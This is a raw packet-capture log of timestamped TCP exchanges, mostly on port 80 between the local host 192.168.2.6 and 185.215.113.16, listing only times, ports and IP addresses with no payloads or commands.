Oct 31, 2024 01:19:14.873894930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873941898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.873954058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874002934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.874049902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874093056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.874113083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874124050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874134064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874155045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.874171972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.874591112 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874615908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874624968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874799013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.874972105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874984026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.874993086 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875025034 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.875046015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.875411034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875422955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875432968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875443935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875454903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875461102 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.875468016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.875488997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.875504971 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.876276016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.876324892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.879298925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.879344940 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.879349947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.879390955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.879398108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.879441023 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.879446030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.879484892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.879554987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.879595041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031260967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031277895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031295061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031306028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031323910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031380892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031383991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031404972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031423092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031435013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031445980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031481981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031497955 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031508923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031533003 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031558990 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031889915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031929970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.031972885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.031984091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032005072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032021046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032115936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032143116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032152891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032193899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032197952 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032216072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032227993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032233000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032238007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032249928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032272100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032706022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032717943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032728910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032747984 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032780886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032829046 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032840014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032851934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032861948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032865047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032875061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032886982 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.032893896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032901049 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:15.032922029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.032959938 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:15.033663034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033679008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033690929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033710003 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.033729076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.033782959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033795118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033807039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033818960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033821106 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.033842087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033849001 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.033854961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.033874989 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.033902884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034626961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034640074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034651041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034672976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034709930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034739971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034758091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034774065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034775019 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034786940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034799099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034801960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034816027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.034825087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.034842968 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.036195993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.036223888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.036247015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.036278009 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189131021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189155102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189168930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189179897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189205885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189218044 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189229965 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189233065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189244032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189271927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189307928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189318895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189332008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189346075 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189349890 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189367056 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189369917 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189378023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189388990 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189402103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189402103 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189413071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189419985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189424038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189435959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189439058 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189446926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189460993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189471960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189483881 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189492941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189502001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189507008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189507961 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189513922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189517975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189522982 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189528942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189534903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189579964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189589977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189590931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189601898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189615011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189624071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189652920 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189677000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189701080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189711094 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189712048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189724922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189735889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189757109 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189763069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189775944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189785957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189798117 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189826965 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189903975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189913988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189940929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189944983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189956903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189968109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.189979076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.189979076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190005064 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190047026 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190064907 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190074921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190104961 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190115929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190124989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190136909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190150023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190160990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.190162897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190177917 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.190212011 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194474936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194490910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194509029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194519997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194561958 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194586992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194665909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194684982 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194695950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194710016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194721937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194734097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194746017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194750071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194761992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194772959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194773912 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194786072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194798946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194813967 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194842100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.194932938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194942951 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194962025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194981098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.194993019 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195000887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195008993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195013046 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195027113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195034027 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195060015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195161104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195172071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195180893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195187092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195193052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195249081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195276022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195324898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195348024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195359945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195370913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195385933 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195413113 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195437908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195481062 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195502996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195513964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195523977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195533991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195563078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195563078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195575953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195585966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195590973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195600986 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195605040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195619106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195628881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.195633888 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.195666075 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196135998 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196147919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196160078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196173906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196207047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196270943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196283102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196294069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196305037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196306944 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196319103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196330070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196333885 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196346045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196357012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196361065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196363926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196376085 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196376085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196389914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.196417093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.196439981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346470118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346491098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346501112 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346513033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346519947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346524954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346532106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346535921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346541882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346548080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346590996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346652985 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346664906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346661091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346707106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346708059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346720934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346744061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346750975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346764088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346771002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346776962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346791029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346801043 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346806049 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346817017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346846104 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346867085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346879005 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346890926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.346905947 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346932888 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346949100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.346965075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347006083 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347044945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347058058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347070932 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347086906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347100019 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347121000 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347161055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347173929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347187042 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347203970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347234011 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347234011 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347254992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347266912 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347280979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347294092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.347294092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.347316980 CET	49995	80	192.168.2.6	185.215.113.16
